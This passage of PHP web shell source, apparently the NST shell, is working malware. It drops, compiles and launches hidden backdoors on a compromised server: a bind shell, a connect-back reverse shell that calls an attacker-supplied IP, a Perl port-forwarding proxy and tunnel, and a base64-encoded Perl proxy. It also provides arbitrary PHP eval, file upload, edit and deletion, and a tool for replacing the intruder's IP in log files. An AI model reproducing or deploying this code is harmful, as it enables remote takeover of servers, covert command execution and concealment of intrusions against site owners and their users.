Y29ubmVjdGlvbihTT0NLRVQsICRyZW1vdGVfaG9zdG5hbWUsICRwb3J0KQkJLS0NCiMtLQkJCQkJCQkJCS0tDQojLS0JQ3JlYXRlIGEgc29ja2V0IHRoYXQgY29ubmVjdHMgdG8gYSBjZXJ0YWluIGhvc3QJCQktLQ0KIy0tCSRsb2NhbF9ob3N0X2lwIGlzIGFzc3VtZWQgdG8gYmUgbG9jYWwgaG9zdG5hbWUgSVAgYWRkcmVzcwktLQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBvcGVuX2Nvbm5lY3Rpb24gew0KICAgIGxvY2FsICgkcmVtb3RlX2hvc3RuYW1lLCAkcG9ydCkgPSBAX1sxLDJdOw0KICAgIGxvY2FsICgkc29ja2V0X2Zvcm1hdCwgJHByb3RvLCAkcGFja2VkX3BvcnQsICRjdXIpOw0KICAgIGxvY2FsICgkcmVtb3RlX2FkZHIsIEByZW1vdGVfaXAsICRyZW1vdGVfaXApOw0KICAgIGxvY2FsICgkbG9jYWxfcG9ydCwgJHJlbW90ZV9wb3J0KTsNCiAgICBpZiAoJHBvcnQgIX4gL15cZCskLykgew0KCSRwb3J0ID0gKGdldHNlcnZieW5hbWUoJHBvcnQsICJ0Y3AiKSlbMl07DQoJJHBvcnQgPSA2NjY3IHVubGVzcyAoJHBvcnQpOw0KICAgIH0NCiAgICAkcHJvdG8gPSAoZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKVsyXTsNCiAgICAkcmVtb3RlX2FkZHIgPSAoZ2V0aG9zdGJ5bmFtZSgkcmVtb3RlX2hvc3RuYW1lKSlbNF07DQogICAgaWYgKCEkcmVtb3RlX2FkZHIpIHsNCglkaWUgIlVua25vd24gaG9zdDogJHJlbW90ZV9ob3N0bmFtZSI7DQogICAgfQ0KDQogICAgQHJlbW90ZV9pcCA9IHVucGFjaygiQzQiLCAkcmVtb3RlX2FkZHIpOw0KICAgICRyZW1vdGVfaXAgPSBqb2luKCIuIiwgQHJlbW90ZV9pcCk7DQogICAgcHJpbnQgIkNvbm5lY3RpbmcgdG8gJHJlbW90ZV9pcCBwb3J0ICRwb3J0LlxuXG4iOw0KICAgICRzb2NrZXRfZm9ybWF0ID0gJ1MgbiBhNCB4OCc7DQogICAgJGxvY2FsX3BvcnQgID0gcGFjaygkc29ja2V0X2Zvcm1hdCwgJkFGX0lORVQsIDAsICRsb2NhbF9ob3N0X2lwKTsNCiAgICAkcmVtb3RlX3BvcnQgPSBwYWNrKCRzb2NrZXRfZm9ybWF0LCAmQUZfSU5FVCwgJHBvcnQsICRyZW1vdGVfYWRkcik7DQogICAgc29ja2V0KCRfWzBdLCAmQUZfSU5FVCwgJlNPQ0tfU1RSRUFNLCAkcHJvdG8pIHx8IGRpZSAic29ja2V0OiAkISI7DQogICAgYmluZCgkX1swXSwgJGxvY2FsX3BvcnQpIHx8IGRpZSAiYmluZDogJCEiOw0KICAgIGNvbm5lY3QoJF9bMF0sICRyZW1vdGVfcG9ydCkgfHwgZGllICJzb2NrZXQ6ICQhIjsNCiAgICAkY3VyID0gc2VsZWN0KCRfWzBdKTsgIA0KDQogICAgJHwgPSAxOwkJCQkjIERpc2FibGUgYnVmZmVyaW5nIG9uIHNvY2tldC4NCiAgICBzZWxlY3QoJGN1cik7DQp9DQoNCg==";

if(is_writable("/tmp")){
$fp=fopen("/tmp/nst_perl_proxy.pl","w");
fwrite($fp,base64_decode($perl_proxy_scp));
passthru("nohup perl /tmp/nst_perl_proxy.pl $port &");
unlink("/tmp/nst_perl_proxy.pl");
}else{
if(is_writable(".")){
mkdir(".nst_proxy_tmp");
$fp=fopen(".nst_proxy_tmp/nst_perl_proxy.pl","w");
fwrite($fp,base64_decode($perl_proxy_scp));
passthru("nohup perl .nst_proxy_tmp/nst_perl_proxy.pl $port &");
unlink(".nst_proxy_tmp/nst_perl_proxy.pl");
rmdir(".nst_proxy_tmp");
}
}
$show_ps="1";
}#end of start perl_proxy

if($_POST['c_bd']){
$port=$_POST['port'];
$c_bd_scp = "#define PORT $port
#include <stdio.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;
struct sockaddr_in serv_addr;
struct sockaddr_in client_addr;

int main ()
{
    soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (soc_des == -1)
        exit(-1);
    bzero((char *) &serv_addr, sizeof(serv_addr));
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
    serv_addr.sin_port = htons(PORT);
    soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
    if (soc_rc != 0)
        exit(-1);
    if (fork() != 0)
        exit(0);
    setpgrp();
    signal(SIGHUP, SIG_IGN);
    if (fork() != 0)
        exit(0);
    soc_rc = listen(soc_des, 5);
    if (soc_rc != 0)
        exit(0);
    while (1) {
        soc_len = sizeof(client_addr);
        soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len);
        if (soc_cli < 0)
            exit(0);
        cli_pid = getpid();
        server_pid = fork();
        if (server_pid != 0) {
            dup2(soc_cli,0);
            dup2(soc_cli,1);
            dup2(soc_cli,2);
            execl(\"/bin/sh\",\"sh\",(char *)0);
            close(soc_cli);
            exit(0);
        }
    close(soc_cli);
    }
}

";


if(is_writable("/tmp")){
$fp=fopen("/tmp/nst_c_bd.c","w");
fwrite($fp,"$c_bd_scp");
passthru("gcc /tmp/nst_c_bd.c -o /tmp/nst_bd");
passthru("nohup /tmp/nst_bd &");
unlink("/tmp/nst_c_bd.c");
unlink("/tmp/nst_bd");
}else{
if(is_writable(".")){
mkdir(".nst_bd_tmp");
$fp=fopen(".nst_bd_tmp/nst_c_bd.c","w");
fwrite($fp,"$c_bd_scp");
passthru("gcc .nst_bd_tmp/nst_c_bd.c -o .nst_bd_tmp/nst_bd");
passthru("nohup .nst_bd_tmp/nst_bd &");
unlink(".nst_bd_tmp/nst_bd");
unlink(".nst_bd_tmp/nst_c_bd.c");
rmdir(".nst_bd_tmp");
}
}
$show_ps="1";
}#end of c bd


if($_POST['bc_c']){ # nc -l -p 4500
$port_c = $_POST['port_c'];
$ip=$_POST['ip'];
$bc_c_scp = "#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <fcntl.h>

#include <netinet/in.h>
#include <netdb.h>

int fd, sock;
int port = $port_c;
struct sockaddr_in addr;

char mesg[]  = \"::Connect-Back Backdoor:: CMD: \";
char shell[] = \"/bin/sh\";

int main(int argc, char *argv[]) {
        while(argc<2) {
        fprintf(stderr, \" %s <ip> \", argv[0]);
        exit(0); }

addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = inet_addr(argv[1]);
fd = socket(AF_INET, SOCK_STREAM, 0);
connect(fd, (struct sockaddr*)&addr, sizeof(addr));

send(fd, mesg, sizeof(mesg), 0);

dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
execl(shell, \"in.telnetd\", 0);

close(fd);
return 1;
}

";

if(is_writable("/tmp")){
if(file_exists("/tmp/nst_c_bc_c.c")){unlink("/tmp/nst_c_bc_c.c");}
if(file_exists("/tmp/nst_c_bc_c.c")){unlink("/tmp/nst_c_bc");}
$fp=fopen("/tmp/nst_c_bc_c.c","w");
$bd_c_scp=str_replace("!n","
",$bd_c_scp);
fwrite($fp,"$bc_c_scp");
passthru("gcc /tmp/nst_c_bc_c.c -o /tmp/nst_bc_c");
passthru("nohup /tmp/nst_bc_c $ip &");
unlink("/tmp/nst_bc_c");
unlink("/tmp/nst_bc_c.c");
}else{
if(is_writable(".")){
mkdir(".nst_bc_c_tmp");
$fp=fopen(".nst_bc_c_tmp/nst_c_bc_c.c","w");
$bd_c_scp=str_replace("!n","
",$bd_c_scp);
fwrite($fp,"$bc_c_scp");
passthru("gcc .nst_bc_c_tmp/nst_c_bc_c.c -o .nst_bc_c_tmp/nst_bc_c");
passthru("nohup .nst_bc_c_tmp/nst_bc_c $ip &");
unlink(".nst_bc_c_tmp/nst_bc_c.c");
unlink(".nst_bc_c_tmp/nst_bc_c");
rmdir(".nst_bc_c_tmp");
}
}
$show_ps="1";

}#end of back connect C


if($_POST['datapipe_pl']){
$port_2=$_POST['port_2'];
$port_3=$_POST['port_3'];
$ip=$_POST['ip'];
$datapipe_pl = "
#!/usr/bin/perl
# coded by CuTTer (rus hacker)
use IO::Socket;
use POSIX;

\$localport=$port_2;
\$host=\"$ip\";
\$port=$port_3;

\$daemon=1;

\$DIR = undef;

## &#34067;&#24568;&#28354;&#34735; &#33129;?&#32806;&#29441;&#34601;?(1-&#28327;, 0-&#31012;?
\$log=0;




\$| = 1;

if (\$daemon){
        print \"3anycKaeM daemon
\";

        \$pid = fork;
        exit if \$pid;
        die \"Couldn't fork: \$!\" unless defined(\$pid);
        POSIX::setsid() or die \"Can't start a new session: \$!\";
}

%o = ('port' => \$localport,
          'toport' => \$port,
          'tohost' => \$host);

\$ah = IO::Socket::INET->new(
                         'LocalPort' => \$localport,
                         'Reuse' => 1,
                         'Listen' => 10)
    || die \"&#28286;&#26406;? &#38103;&#29294;&#58271;?&#32806;&#36173;?&#28486;&#63733; &#32806;&#36995;&#26727;&#23641;&#26653;: \$!\";

print \"&#34972;&#40594;&#30956;&#23632; &#24697;&#38257;&#33120;&#23641;? &#40104;&#35276;?
\" if \$log;
\$SIG{'CHLD'} = 'IGNORE';
\$num = 0;
while (1) {
        \$ch = \$ah->accept();
        if (!\$ch) {
                print STDERR \"&#27233;&#23654;&#24516;&#30477; &#24697;&#38257;&#33074;&#40859;?accept: \$!
\";
                next;
        }

        printf(\"&#30358;&#24697;?&#35276;&#26722;&#30490;: host %s, port %s.
\",
        \$ch->peerhost(), \$ch->peerport()) if \$log;
        ++\$num;
        \$pid = fork();
        if (!defined(\$pid)) {
                print STDERR \"&#28286;&#24568;&#29640;&#38088;&#30477; &#24697;&#38257;&#33120;&#26665;?fork: \$!
\";
    } elsif (\$pid == 0) {
## &#30358;&#24697;?&#38259;&#38110;&#32700;?
                \$ah->close();
                Run(\%o, \$ch, \$num);
        } else {
                print \"Parent: Fork &#38259;&#38112;&#21675; &#31697;&#38245;&#57984;? &#29582;&#29294;&#58255;&#22129;?&#32806;&#36173;?
\" if \$log;
                \$ch->close();
        }
}


sub Run {
        my(\$o, \$ch, \$num) = @_;
        my \$th = IO::Socket::INET->new('PeerAddr' => \$o->{'tohost'},
                                                        'PeerPort' => \$o->{'toport'});
        print(\"Child: &#33147;&#35930;&#23632; &#30129;&#28354;&#30129;&#29277; &#30956; \$o->{'tohost'}, &#38257;&#30193; \$o->{'toport'}.
\") if \$log;
        if (!\$th) {
                printf STDERR (\"Child: &#27233;&#23654;&#24516;?&#30129;&#28354;&#30129;&#29277; &#30956; %s, &#38257;&#30193; %s.
\",
                \$o->{'tohost'}, \$o->{'toport'});
                exit 0;
        }

        my \$fh;
        if (\$o->{'dir'}) {
                \$fh = Symbol::gensym();
                open(\$fh, \">\$o->{'dir'}/tunnel\$num.log\")
                or die \"Child: &#27233;&#23654;&#24516;&#30477; &#32806;&#29599;&#22231;&#26722; &#33129;?&#32703;&#27553;?\$o->{'dir'}/tunnel\$num.log: \$!\";
        }

        \$ch->autoflush();
        \$th->autoflush();
        while (\$ch || \$th) {
                print \"Child: &#29595;&#33211;&#39715;&#23632; &#40104;&#35276;.
\" if \$log;
                my \$rin = \"\";
                vec(\$rin, fileno(\$ch), 1) = 1 if \$ch;
                vec(\$rin, fileno(\$th), 1) = 1 if \$th;
                my(\$rout, \$eout);
                select(\$rout = \$rin, undef, \$eout = \$rin, 120);
                if (!\$rout  &&  !\$eout) {
                        print STDERR \"Child: &#30802;&#26675;&#36165; Timeout.
\";
                }
                my \$cbuffer = \"\";
                my \$tbuffer = \"\";

                if (\$ch && (vec(\$eout, fileno(\$ch), 1) || vec(\$rout, fileno(\$ch), 1))) {
                        print \"Child: &#20854;&#23632; &#28327;&#30468;&#58274; &#38103; &#35276;&#26722;&#30490;?
\" if \$log;
                        my \$result = sysread(\$ch, \$tbuffer, 1024);
                        if (!defined(\$result)) {
                                print STDERR \"Child: &#30802;&#26675;&#36165; &#38259;?&#32845;&#26665;&#58255;&#22231;&#26755; &#28327;&#30468;&#58274; &#35276;&#26722;&#30490;? \$!
\";
                                exit 0;
                        }
                        if (\$result == 0) {
                                print \"Child: &#23408;&#26722;&#30490; &#38103;&#32806;&#36995;&#26727;&#26726;?.
\" if \$log;
                                exit 0;
                        }

                        print \"Child: &#27877;&#30468;&#58258;: \$cbuffer
\" if \$log;
                }

                if (\$th  &&  (vec(\$eout, fileno(\$th), 1)  || vec(\$rout, fileno(\$th), 1))) {
                        print \"Child: &#20854;&#23632; &#28327;&#30468;&#58274;.
\" if \$log;
                        my \$result = sysread(\$th, \$cbuffer, 1024);
                        if (!defined(\$result)) {
                                print STDERR \"Child: &#28286;&#24568;&#29640;&#38088;&#30477; &#32845;&#26665;&#22265;?&#28327;&#30468;&#58258;: \$!
\";
                                exit 0;
                        }

                        if (\$result == 0) {
                                print \"Child: &#27233;&#38090;&#29657;&#57982;?&#38103;&#32806;&#36995;&#26727;&#23641;&#26722;.
\" if \$log;
                                exit 0;
                        }

                        print \"Child: &#27877;&#30468;&#58258;: \$cbuffer
\" if \$log;
            }

                if (\$fh  &&  \$tbuffer) {
                        (print \$fh \$tbuffer);
                }

                while (my \$len = length(\$tbuffer)) {
                        print \"Child: &#24735;&#38259;&#22100;?&#23632; \$len &#24457;&#36725;.
\" if \$log;
                        my \$res = syswrite(\$th, \$tbuffer, \$len);
                        print \"Child: &#27877;&#30468;&#58258; &#38103;&#38259;&#22100;&#33074;&#30535;.
\" if \$log;
                        if (\$res > 0) {
                                \$tbuffer = substr(\$tbuffer, \$res);
                        } else {
                                print STDERR \"Child: &#28286;&#24568;&#29640;&#38088;&#30477; &#38103;&#38259;&#22100;&#26665;?&#28327;&#30468;&#58258;: \$!
\";
                        }
                }

                while (my \$len = length(\$cbuffer)) {
                        print \"Child: &#24735;&#38259;&#22100;?&#23632; \$len &#24457;&#36725; &#35276;&#26722;&#30490;?
\" if \$log;
                        my \$res = syswrite(\$ch, \$cbuffer, \$len);
                        print \"Child: &#27877;&#30468;&#58258; &#38103;&#38259;&#22100;&#33074;&#30535;..
\" if \$log;
                        if (\$res > 0) {
                                \$cbuffer = substr(\$cbuffer, \$res);
                        } else {
                                print STDERR \"Child: &#28286;&#24568;&#29640;&#38088;&#30477; &#38103;&#38259;&#22100;&#26665;?&#28327;&#30468;&#58258;: \$!
\";
                        }
                }
        }
}

";

if(is_writable("/tmp")){
$fp=fopen("/tmp/nst_perl_datapipe.pl","w");
fwrite($fp,"$datapipe_pl");
passthru("nohup perl /tmp/nst_perl_datapipe.pl &");
unlink("/tmp/nst_perl_datapipe.pl");
}else{
if(is_writable(".")){
mkdir(".nst_datapipe_tmp");
$fp=fopen(".nst_datapipe_tmp/nst_perl_datapipe.pl","w");
fwrite($fp,"$datapipe_pl");
passthru("nohup perl .nst_datapipe_tmp/nst_perl_datapipe.pl &");
unlink(".nst_datapipe_tmp/nst_perl_datapipe.pl");
rmdir(".nst_datapipe_tmp");
}
}
$show_ps="1";

}#end of datapipe perl





if($show_ps=="1"){
print "<center><b>[ps ux]</b></center><br><br>";
print "<pre>";
passthru("ps ux");
print "</pre><br><br>";
}



echo "<form method=post><b>md5:</b><br><input name=md5 size=30>
<Br>
md5 online encoder/decoder (brutforce) (php) - [<a href=http://nst.void.ru/?q=releases&download=4>DOWNLOAD</a>]
</form>
";
@$md5=@$_POST['md5'];
if(@$_POST['md5']){ echo "md5:<br><textarea rows=1 cols=113>".md5($md5)."</textarea>";}
echo "<br>
<form method=post><b>base64 e/d:</b><br><input name=base64 size=30></form><br>";
if(@$_POST['base64']){
@$base64=$_POST['base64'];
echo "
<b>Encode: <br><textarea rows=15 cols=113>".base64_encode($base64)."</textarea><br>
Decode:</b> <br><textarea rows=15 cols=113>".base64_decode($base64)."</textarea><br>";}
echo "<br>
<form method=post><b>DES:</b><br><input name=des size=30><br>
John The Ripper [<a href=http://www.openwall.com/john/ target=_blank>Web</a>]</form><br>";
if(@$_POST['des']){
@$des=@$_POST['des'];
echo "<b>Des:</b> <br><textarea rows=15 cols=113>".crypt($des)."</textarea>";}

print "
<b>eval:</b<br>
(example: print \"Hello World\";)
<form method=post>
<font color=red><b>&lt;?</b><br>
<textarea name=eval rows=15 cols=113></textarea><br>
<b>?&gt;</b></font><br>
<input type=submit value=Run style='width:150px;'>
</form><br>
";

function eval_sl($editf){
if(get_magic_quotes_gpc()==1){
$editf=stripslashes($editf);
}
return $editf;
}


if($_POST['eval']){
print "<b>RESULT:<br><br></b>";
eval(eval_sl($_POST['eval']));
print "<br><br>";

print "<font color=green><b>PHP:</b><br>

";
print "&lt;?
";
print "<br>";
print htmlspecialchars(eval_sl(($_POST['eval'])));
print "<br>";
print "?&gt;

</font><br><br>";

}

echo $copyr;
exit;}

if(@$_GET['replace']=="1"){
$ip=@$_SERVER['REMOTE_ADDR'];
$d=$_GET['d'];
$e=$_GET['e'];
@$de=$d."/".$e;
$de=str_replace("//","/",$de);
$e=@$e;
echo "[<a href='$php_self?d=$d&del_f=1&wich_f=$e'>Delete</a>] [<a href='$php_self?d=$d&ef=$e&edit=1'>Edit</a>] [<a href='$php_self?d=$d&e=$e&clean=1'>Filesize to 0 byte</a>] [<a href='$php_self?d=$d&e=$e&replace=1'>Replace text in file</a>] [<a href='$php_self?d=$d&download=$e'>Download</a>] [<a href='$php_self?d=$d&rename=1&wich_f=$e'>Rename</a>] [<a href='$php_self?d=$d&chmod=1&wich_f=$e'>CHMOD</a>] [<a href='$php_self?d=$d&ccopy_to=$e'>Copy</a>]<br>";
echo "
Replace tool:<br>
(You can replace any text)<br>
File: $de<br>
<form method=post>
1. Your ip.<br>
2. microsoft.com ip :)<br>
Replace this <input name=thisX size=30 value=$ip> by this <input name=bythis size=30 value=207.46.245.156>
<input type=submit name=doit value=Replace>
</form>
";

if(@$_POST['doit']){
@$thisX=$_POST['thisX'];
@$bythis=$_POST['bythis'];
@$e=$_GET['e'];
$filename="$d/$e";
$fd = @fopen ($filename, "r");
$rpl = @fread ($fd, @filesize ($filename));
$re=str_replace("$thisX","$bythis",$rpl);
$x=@fopen("$d/$e","w");
@fwrite($x,"$re");
echo "<br><center>$thisX Replaced by $bythis<br>
[<a href='$php_self?d=$d&e=$e'>VIew file</a>]<br><br><Br>";

}
echo $copyr;
exit;}


if(@$_GET['t']=="upload"){
echo "<br>
<a href='$php_self?d=$d&t=massupload'>* Mass upload *</a><br>
File upload:<br>
<form enctype=\"multipart/form-data\" method=post>
<input type=file name=text size=50><br>
<input name=where size=52 value='$d'><br>
New file name:<br>
<input name=newf size=30 autocomplete=off> (if empty, it will be default)<br>
<input type=submit value=Upload name=uploadf>
</form><br>
";

if(@$_POST['uploadf']){
$where=$_POST['where'];
$newf=$_POST['newf'];
$where=str_replace("//","/",$where);
if($newf==""){$newf=$_FILES['text']['name'];}else{$newf=$newf;}
$uploadfile = "$where/".$newf;
if (@move_uploaded_file(@$_FILES['text']['tmp_name'], $uploadfile)) {
$uploadfile=str_replace("//","/",$uploadfile);
echo "<i><br>Uploaded to $uploadfile</i><br>";
}else{
echo "<i><br>Error</i><br>";}
}
}

if(@$_GET['t']=="massupload"){
echo "
Mass upload:<br>
<form enctype=\"multipart/form-data\" method=post>
<input type=file name=text1 size=43> <input type=file name=text11 size=43><br>
<input type=file name=text2 size=43> <input type=file name=text12 size=43><br>
<input type=file name=text3 size=43> <input type=file name=text13 size=43><br>
<input type=file name=text4 size=43> <input type=file name=text14 size=43><br>
<input type=file name=text5 size=43> <input type=file name=text15 size=43><br>
<input type=file name=text6 size=43> <input type=file name=text16 size=43><br>
<input type=file name=text7 size=43> <input type=file name=text17 size=43><br>
<input type=file name=text8 size=43> <input type=file name=text18 size=43><br>
<input type=file name=text9 size=43> <input type=file name=text19 size=43><br>
<input type=file name=text10 size=43> <input type=file name=text20 size=43><br>
<input name=where size=43 value='$d'><br>
<input type=submit value=Upload name=massupload>
</form><br>";

if(@$_POST['massupload']){
$where=@$_POST['where'];
$uploadfile1 = "$where/".@$_FILES['text1']['name'];
$uploadfile2 = "$where/".@$_FILES['text2']['name'];
$uploadfile3 = "$where/".@$_FILES['text3']['name'];
$uploadfile4 = "$where/".@$_FILES['text4']['name'];
$uploadfile5 = "$where/".@$_FILES['text5']['name'];
$uploadfile6 = "$where/".@$_FILES['text6']['name'];
$uploadfile7 = "$where/".@$_FILES['text7']['name'];
$uploadfile8 = "$where/".@$_FILES['text8']['name'];
$uploadfile9 = "$where/".@$_FILES['text9']['name'];
$uploadfile10 = "$where/".@$_FILES['text10']['name'];
$uploadfile11 = "$where/".@$_FILES['text11']['name'];
$uploadfile12 = "$where/".@$_FILES['text12']['name'];
$uploadfile13 = "$where/".@$_FILES['text13']['name'];
$uploadfile14 = "$where/".@$_FILES['text14']['name'];
$uploadfile15 = "$where/".@$_FILES['text15']['name'];
$uploadfile16 = "$where/".@$_FILES['text16']['name'];
$uploadfile17 = "$where/".@$_FILES['text17']['name'];
$uploadfile18 = "$where/".@$_FILES['text18']['name'];
$uploadfile19 = "$where/".@$_FILES['text19']['name'];
$uploadfile20 = "$where/".@$_FILES['text20']['name'];
if (@move_uploaded_file(@$_FILES['text1']['tmp_name'], $uploadfile1)) {
$where=str_replace("\","\",$where);
echo "<i>Uploaded to $uploadfile1</i><br>";}
if (@move_uploaded_file(@$_FILES['text2']['tmp_name'], $uploadfile2)) {
$where=str_replace("\","\",$where);
echo "<i>Uploaded to $uploadfile2</i><br>";}
if (@move_uploaded_file(@$_FILES['text3']['tmp_name'], $uploadfile3)) {
$where=str_replace("\","\",$where);
echo "<i>Uploaded to $uploadfile3</i><br>";}
if (@move_uploaded_file(@$_FILES['text4']['tmp_name'], $uploadfile4)) {
$where=str_replace("\","\",$where);
echo "<i>Uploaded to $uploadfile4</i><br>";}
if (@move_uploaded_file(@$_FILES['text5']['tmp_name'], $uploadfile5)) {
$where=str_replace("\","\",$where);
echo "<i>Uploaded to $uploadfile5</i><br>";}
if (@move_uploaded_file(@$_FILES['text6']['tmp_name'], $uploadfile6)) {
$where=str_replace("\","\",$where);
echo "<i>Uploaded to $uploadfile6</i><br>";}
if (@move_uploaded_file(@$_FILES['text7']['tmp_name'], $uploadfile7)) {
$where=str_replace("\","\",$where);
echo "<i>Uploaded to $uploadfile7</i><br>";}
if (@move_uploaded_file(@$_FILES['text8']['tmp_name'], $uploadfile8)) {
$where=str_replace("\","\",$where);
echo "<i>Uploaded to $uploadfile8</i><br>";}
if (@move_uploaded_file(@$_FILES['text9']['tmp_name'], $uploadfile9)) {
$where=str_replace("\","\",$where);
echo "<i>Uploaded to $uploadfile9</i><br>";}
if (@move_uploaded_file(@$_FILES['text10']['tmp_name'], $uploadfile10)) {
$where=str_replace("\","\",$where);
echo "<i>Uploaded to $uploadfile10</i><br>";}
if (@move_uploaded_file(@$_FILES['text11']['tmp_name'], $uploadfile11)) {
$where=str_replace("\","\",$where);
echo "<i>Uploaded to $uploadfile11</i><br>";}
if (@move_uploaded_file(@$_FILES['text12']['tmp_name'], $uploadfile12)) {
$where=str_replace("\","\",$where);
echo "<i>Uploaded to $uploadfile12</i><br>";}
if (@move_uploaded_file(@$_FILES['text13']['tmp_name'], $uploadfile13)) {
$where=str_replace("\","\",$where);
echo "<i>Uploaded to $uploadfile13</i><br>";}
if (@move_uploaded_file(@$_FILES['text14']['tmp_name'], $uploadfile14)) {
$where=str_replace("\","\",$where);
echo "<i>Uploaded to $uploadfile14</i><br>";}
if (@move_uploaded_file(@$_FILES['text15']['tmp_name'], $uploadfile15)) {
$where=str_replace("\","\",$where);
echo "<i>Uploaded to $uploadfile15</i><br>";}
if (@move_uploaded_file(@$_FILES['text16']['tmp_name'], $uploadfile16)) {
$where=str_replace("\","\",$where);
echo "<i>Uploaded to $uploadfile16</i><br>";}
if (@move_uploaded_file(@$_FILES['text17']['tmp_name'], $uploadfile17)) {
$where=str_replace("\","\",$where);
echo "<i>Uploaded to $uploadfile17</i><br>";}
if (@move_uploaded_file(@$_FILES['text18']['tmp_name'], $uploadfile18)) {
$where=str_replace("\","\",$where);
echo "<i>Uploaded to $uploadfile18</i><br>";}
if (@move_uploaded_file(@$_FILES['text19']['tmp_name'], $uploadfile19)) {
$where=str_replace("\","\",$where);
echo "<i>Uploaded to $uploadfile19</i><br>";}
if (@move_uploaded_file(@$_FILES['text20']['tmp_name'], $uploadfile20)) {
$where=str_replace("\","\",$where);
echo "<i>Uploaded to $uploadfile20</i><br>";}
}
echo $copyr;
exit;}

if(@$_GET['yes']=="yes"){
$d=@$_GET['d']; $e=@$_GET['e'];
unlink($d."/".$e);
$delresult="Success $d/$e deleted <meta http-equiv=\"REFRESH\" content=\"2;URL=$php_self?d=$d\">";
}
if(@$_GET['clean']=="1"){
@$e=$_GET['e'];
$x=fopen("$d/$e","w");
fwrite($x,"");
echo "<meta http-equiv=\"REFRESH\" content=\"0;URL=$php_self?d=$d&e=".@$e."\">";
exit;
}


if(@$_GET['e']){
$d=@$_GET['d'];
$e=@$_GET['e'];
$pinf=pathinfo($e);
if(in_array(".".@$pinf['extension'],$images)){
echo "<meta http-equiv=\"REFRESH\" content=\"0;URL=$php_self?d=$d&e=$e&img=1\">";
exit;}
$filename="$d/$e";
$fd = @fopen ($filename, "r");
$c = @fread ($fd, @filesize ($filename));
$c=htmlspecialchars($c);
$de=$d."/".$e;
$de=str_replace("//","/",$de);
if(is_file($de)){
if(!is_writable($de)){echo "<font color=red>READ ONLY</font><br>";}}
echo "[<a href='$php_self?d=$d&del_f=1&wich_f=$e'>Delete</a>] [<a href='$php_self?d=$d&ef=$e&edit=1'>Edit</a>] [<a href='$php_self?d=$d&e=$e&clean=1'>Filesize to 0 byte</a>] [<a href='$php_self?d=$d&e=$e&replace=1'>Replace text in file</a>] [<a href='$php_self?d=$d&download=$e'>Download</a>] [<a href='$php_self?d=$d&rename=1&wich_f=$e'>Rename</a>] [<a href='$php_self?d=$d&chmod=1&wich_f=$e'>CHMOD</a>] [<a href='$php_self?d=$d&ccopy_to=$e'>Copy</a>]<br>";
echo "
File contents:<br>
$de
<br>
<table width=100% border=1 cellpadding=0 cellspacing=0>
<tr><td><pre>
$c

</pre></td></tr>
</table>

";

if(@$_GET['delete']=="1"){
$delete=$_GET['delete'];
echo "
DELETE: Are you sure?<br>
<a href=\"$php_self?d=$d&e=$e&delete=".@$delete."&yes=yes\">Yes</a> || <a href='$php_self?no=1'>No</a>
<br>
";
if(@$_GET['yes']=="yes"){
@$d=$_GET['d']; @$e=$_GET['e'];
echo $delresult;
}
if(@$_GET['no']){
echo "<meta http-equiv=\"REFRESH\" content=\"0;URL=$php_self?d=$d&e=$e\">
";
}


} #end of delete
echo $copyr;
exit;
} #end of e

if(@$_GET['edit']=="1"){
@$d=$_GET['d'];
@$ef=$_GET['ef'];
$e=$ef;
if(is_file($d."/".$ef)){
if(!is_writable($d."/".$ef)){echo "<font color=red>READ ONLY</font><br>";}}
echo "[<a href='$php_self?d=$d&del_f=1&wich_f=$e'>Delete</a>] [<a href='$php_self?d=$d&ef=$e&edit=1'>Edit</a>] [<a href='$php_self?d=$d&e=$e&clean=1'>Filesize to 0 byte</a>] [<a href='$php_self?d=$d&e=$e&replace=1'>Replace text in file</a>] [<a href='$php_self?d=$d&download=$e'>Download</a>] [<a href='$php_self?d=$d&rename=1&wich_f=$e'>Rename</a>] [<a href='$php_self?d=$d&chmod=1&wich_f=$e'>CHMOD</a>] [<a href='$php_self?d=$d&ccopy_to=$e'>Copy</a>]<br>";
$filename="$d/$ef";
$fd = @fopen ($filename, "r");
$c = @fread ($fd, @filesize ($filename));
$c=htmlspecialchars($c);
$de=$d."/".$ef;
$de=str_replace("//","/",$de);
echo "
Edit:<br>
$de<br>";

if(!@$_POST['save']){
print "
<form method=post>
<input name=filename value='$d/$ef'>
<textarea cols=143 rows=30 name=editf>$c</textarea>
<br>
<input type=submit name=save value='Save changes'></form><br>
";
}
if(@$_POST['save']){
$editf=@$_POST['editf'];

if(get_magic_quotes_runtime() or get_magic_quotes_gpc()){
$editf=stripslashes($editf);
}

$f=fopen($filename,"w+");
fwrite($f,"$editf");
echo "<br>
<b>File edited.</b>
<meta http-equiv=\"REFRESH\" content=\"0;URL=$php_self?d=$d&e=$ef\">";
exit;
}
echo $copyr;
exit;
}



echo"
<table width=100% cellpadding=1 cellspacing=0 class=hack>
<tr><td bgcolor=#519A00><center><b>Filename</b></td><td bgcolor=#519A00><center><b>Tools</b></td><td bgcolor=#519A00><b>Size</b></td><td bgcolor=#519A00><center><b>Owner/Group</b></td><td bgcolor=#519A00><b>Perms</b></td></tr>
";
$dirs=array();
$files=array();
$dh = @opendir($d) or die("<table width=100%><tr><td><center>Permission Denied or Folder/Disk does not exist</center><br>$copyr</td></tr></table>");
while (!(($file = readdir($dh)) === false)) {
if ($file=="." || $file=="..") continue;
if (@is_dir("$d/$file")) {
      $dirs[]=$file;
}else{
      $files[]=$file;
      }
   sort($dirs);
   sort($files);

$fz=@filesize("$d/$file");
}

function perm($perms){
if (($perms & 0xC000) == 0xC000) {
   $info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
   $info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
   $info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
   $info = 'b';
